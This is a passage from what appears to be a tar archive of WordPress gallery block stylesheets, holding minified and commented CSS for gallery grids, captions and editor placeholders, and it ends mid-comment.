.blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item{margin-left:1em;width:calc(25% - .75em)}.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item{margin-left:1em;width:calc(20% - .8em)}.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item{margin-left:1em;width:calc(16.66667% - .83333em)}.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item{margin-left:1em;width:calc(14.28571% - .85714em)}.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item{margin-left:1em;width:calc(12.5% - .875em)}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n){margin-left:0}}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child{margin-left:0}.blocks-gallery-grid:not(.has-nested-images).alignleft,.blocks-gallery-grid:not(.has-nested-images).alignright,.wp-block-gallery:not(.has-nested-images).alignleft,.wp-block-gallery:not(.has-nested-images).alignright{max-width:420px;width:100%}.blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure{justify-content:center}.wp-block-gallery:not(.is-cropped) .blocks-gallery-item{align-self:flex-start}figure.wp-block-gallery.has-nested-images{align-items:normal}.wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image){margin:0;width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)/2)}.wp-block-gallery.has-nested-images figure.wp-block-image{box-sizing:border-box;display:flex;flex-direction:column;flex-grow:1;justify-content:center;max-width:100%;position:relative}.wp-block-gallery.has-nested-images figure.wp-block-image>a,.wp-block-gallery.has-nested-images figure.wp-block-image>div{flex-direction:column;flex-grow:1;margin:0}.wp-block-gallery.has-nested-images figure.wp-block-image img{display:block;height:auto;max-width:100%!important;width:auto}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption):before{bottom:0;left:0;max-height:100%;position:absolute;right:0}.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption):before{backdrop-filter:blur(3px);content:"";height:100%;-webkit-mask-image:linear-gradient(0deg,#000 20%,#0000);mask-image:linear-gradient(0deg,#000 20%,#0000);max-height:3em;pointer-events:none}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{box-sizing:border-box;color:#fff;font-size:13px;margin:0;overflow:auto;padding:1em;text-align:center;text-shadow:0 0 1.5px #000}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar{height:12px;width:12px}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-track{background-color:initial}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover::-webkit-scrollbar-thumb{background-color:#fffc}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-width:thin}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover{scrollbar-color:#fffc #0000}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{will-change:transform}@media (hover:none){.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{scrollbar-color:#fffc #0000}}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{background:linear-gradient(0deg,#0006,#0000)}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption img{display:inline}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption a{color:inherit}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>a,.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>div,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>a,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>div{flex:1 1 auto}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption{background:none;color:inherit;flex:initial;margin:0;padding:10px 10px 9px;position:relative;text-shadow:none}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border:before,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded:before{content:none}.wp-block-gallery.has-nested-images figcaption{flex-basis:100%;flex-grow:1;text-align:center}.wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image){margin-bottom:auto;margin-top:0}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image){align-self:inherit}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>div:not(.components-drop-zone){display:flex}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img{flex:1 0 0%;height:100%;object-fit:cover;width:100%}.wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image){width:100%}@media (min-width:600px){.wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image){width:calc(33.33333% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image){width:calc(25% - var(--wp--style--unstable-gallery-gap, 16px)*.75)}.wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image){width:calc(20% - var(--wp--style--unstable-gallery-gap, 16px)*.8)}.wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image){width:calc(16.66667% - var(--wp--style--unstable-gallery-gap, 16px)*.83333)}.wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image){width:calc(14.28571% - var(--wp--style--unstable-gallery-gap, 16px)*.85714)}.wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image){width:calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px)*.875)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image){width:calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*.5)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:last-child{width:100%}}.wp-block-gallery.has-nested-images.alignleft,.wp-block-gallery.has-nested-images.alignright{max-width:420px;width:100%}.wp-block-gallery.has-nested-images.aligncenter{justify-content:center} gallery/style.min.css 0000644 00000037370 15217610757 0010664 0 ustar 00 .blocks-gallery-grid:not(.has-nested-images),.wp-block-gallery:not(.has-nested-images){display:flex;flex-wrap:wrap;list-style-type:none;margin:0;padding:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item{display:flex;flex-direction:column;flex-grow:1;justify-content:center;margin:0 1em 1em 0;position:relative;width:calc(50% - 1em)}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n){margin-right:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure{align-items:flex-end;display:flex;height:100%;justify-content:flex-start;margin:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img{display:block;height:auto;max-width:100%;width:auto}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption{background:linear-gradient(0deg,#000000b3,#0000004d 70%,#0000);bottom:0;box-sizing:border-box;color:#fff;font-size:.8em;margin:0;max-height:100%;overflow:auto;padding:3em .77em .7em;position:absolute;text-align:center;width:100%;z-index:2}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img{display:inline}.blocks-gallery-grid:not(.has-nested-images) figcaption,.wp-block-gallery:not(.has-nested-images) figcaption{flex-grow:1}.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img{flex:1;height:100%;object-fit:cover;width:100%}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item{margin-right:0;width:100%}@media (min-width:600px){.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item{margin-right:1em;width:calc(33.33333% - .66667em)}.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item{margin-right:1em;width:calc(25% - .75em)}.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item{margin-right:1em;width:calc(20% - .8em)}.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item{margin-right:1em;width:calc(16.66667% - .83333em)}.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item{margin-right:1em;width:calc(14.28571% - .85714em)}.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item{margin-right:1em;width:calc(12.5% - .875em)}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n){margin-right:0}}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child{margin-right:0}.blocks-gallery-grid:not(.has-nested-images).alignleft,.blocks-gallery-grid:not(.has-nested-images).alignright,.wp-block-gallery:not(.has-nested-images).alignleft,.wp-block-gallery:not(.has-nested-images).alignright{max-width:420px;width:100%}.blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure{justify-content:center}.wp-block-gallery:not(.is-cropped) .blocks-gallery-item{align-self:flex-start}figure.wp-block-gallery.has-nested-images{align-items:normal}.wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image){margin:0;width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)/2)}.wp-block-gallery.has-nested-images figure.wp-block-image{box-sizing:border-box;display:flex;flex-direction:column;flex-grow:1;justify-content:center;max-width:100%;position:relative}.wp-block-gallery.has-nested-images figure.wp-block-image>a,.wp-block-gallery.has-nested-images figure.wp-block-image>div{flex-direction:column;flex-grow:1;margin:0}.wp-block-gallery.has-nested-images figure.wp-block-image img{display:block;height:auto;max-width:100%!important;width:auto}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption):before{bottom:0;left:0;max-height:100%;position:absolute;right:0}.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption):before{backdrop-filter:blur(3px);content:"";height:100%;-webkit-mask-image:linear-gradient(0deg,#000 20%,#0000);mask-image:linear-gradient(0deg,#000 20%,#0000);max-height:3em;pointer-events:none}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{box-sizing:border-box;color:#fff;font-size:13px;margin:0;overflow:auto;padding:1em;text-align:center;text-shadow:0 0 1.5px #000}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar{height:12px;width:12px}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-track{background-color:initial}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover::-webkit-scrollbar-thumb{background-color:#fffc}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-width:thin}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover{scrollbar-color:#fffc #0000}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{will-change:transform}@media (hover:none){.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{scrollbar-color:#fffc #0000}}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{background:linear-gradient(0deg,#0006,#0000)}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption img{display:inline}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption a{color:inherit}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>a,.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>div,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>a,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>div{flex:1 1 auto}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption{background:none;color:inherit;flex:initial;margin:0;padding:10px 10px 9px;position:relative;text-shadow:none}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border:before,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded:before{content:none}.wp-block-gallery.has-nested-images figcaption{flex-basis:100%;flex-grow:1;text-align:center}.wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image){margin-bottom:auto;margin-top:0}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image){align-self:inherit}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>div:not(.components-drop-zone){display:flex}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img{flex:1 0 0%;height:100%;object-fit:cover;width:100%}.wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image){width:100%}@media (min-width:600px){.wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image){width:calc(33.33333% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image){width:calc(25% - var(--wp--style--unstable-gallery-gap, 16px)*.75)}.wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image){width:calc(20% - var(--wp--style--unstable-gallery-gap, 16px)*.8)}.wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image){width:calc(16.66667% - var(--wp--style--unstable-gallery-gap, 16px)*.83333)}.wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image){width:calc(14.28571% - var(--wp--style--unstable-gallery-gap, 16px)*.85714)}.wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image){width:calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px)*.875)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image){width:calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*.5)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:last-child{width:100%}}.wp-block-gallery.has-nested-images.alignleft,.wp-block-gallery.has-nested-images.alignright{max-width:420px;width:100%}.wp-block-gallery.has-nested-images.aligncenter{justify-content:center} gallery/editor-rtl.min.css 0000644 00000004011 15217610757 0011573 0 ustar 00 :root :where(figure.wp-block-gallery){display:block}:root :where(figure.wp-block-gallery)>.blocks-gallery-caption{flex:0 0 100%}:root :where(figure.wp-block-gallery)>.blocks-gallery-media-placeholder-wrapper{flex-basis:100%}:root :where(figure.wp-block-gallery) .wp-block-image .components-notice.is-error{display:block}:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__content{margin:4px 0}:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__dismiss{left:5px;position:absolute;top:0}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .components-placeholder__label{display:none}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{margin-bottom:0}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder{margin:0}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder .components-placeholder__label{display:flex}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder figcaption{z-index:2}:root :where(figure.wp-block-gallery) .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}.gallery-settings-buttons .components-button:first-child{margin-left:8px}.blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{outline:none}.blocks-gallery-item figure.is-selected:before{bottom:0;box-shadow:0 0 0 1px #fff inset,0 0 0 3px var(--wp-admin-theme-color) inset;content:"";left:0;outline:2px solid #0000;pointer-events:none;position:absolute;right:0;top:0;z-index:1}.blocks-gallery-item figure.is-transient img{opacity:.3}.blocks-gallery-item .block-editor-media-placeholder{height:100%;margin:0}.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{display:flex}.wp-block-gallery ul.blocks-gallery-grid{margin:0;padding:0}@media (min-width:600px){.wp-block-update-gallery-modal{max-width:480px}}.wp-block-update-gallery-modal-buttons{display:flex;gap:12px;justify-content:flex-end} gallery/editor-rtl.css 0000644 00000010175 15217610757 0011021 0 ustar 00 /** * Breakpoints & Media Queries */ /** * Colors */ /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the 